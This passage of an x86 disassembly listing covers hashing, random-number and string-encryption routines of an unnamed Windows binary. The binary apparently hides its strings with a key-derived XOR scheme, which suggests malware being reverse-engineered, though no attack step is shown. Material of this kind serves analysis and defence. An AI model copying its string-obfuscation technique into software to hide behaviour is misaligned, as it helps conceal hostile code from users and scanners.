[ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+1] shl ecx, 8 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: .text:004168D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call ds:dword_417024 ; CryptAcquireContextA push offset dword_41EADC push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push offset dword_41EAE0 push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push offset dword_41EAE4 push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push offset dword_41EAE8 push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push 0 push [ebp+var_4] call ds:dword_41701C ; CryptReleaseContext leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd dword_41EADC, eax add eax, ebx lock xadd dword_41EAE0, eax add eax, ecx lock xadd dword_41EAE4, eax add eax, edx lock xadd dword_41EAE8, eax add eax, esi lock xadd dword_41EADC, eax add eax, edi lock xadd dword_41EAE0, eax add eax, ebp lock xadd dword_41EAE4, eax add eax, esp lock xadd dword_41EAE8, eax call sub_416B64 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41EADC, eax lock xadd dword_41EAE0, eax lock xadd dword_41EAE4, eax lock xadd dword_41EAE8, eax add ecx, ebx ror ebx, cl lock xadd dword_41EAE4, ebx add ecx, ecx ror ecx, cl lock xadd dword_41EAE0, ecx add ecx, edx ror edx, cl lock xadd dword_41EADC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_41EAE8, edx lock xadd dword_41EAE4, ecx lock xadd dword_41EAE0, ebx lock xadd dword_41EADC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: .text:004021CDp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: .text:00405CFAp ; .text:00405D70p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: .text:00405D10p ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EADC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: .text:004168E1p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAF0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EAF0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAF0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE 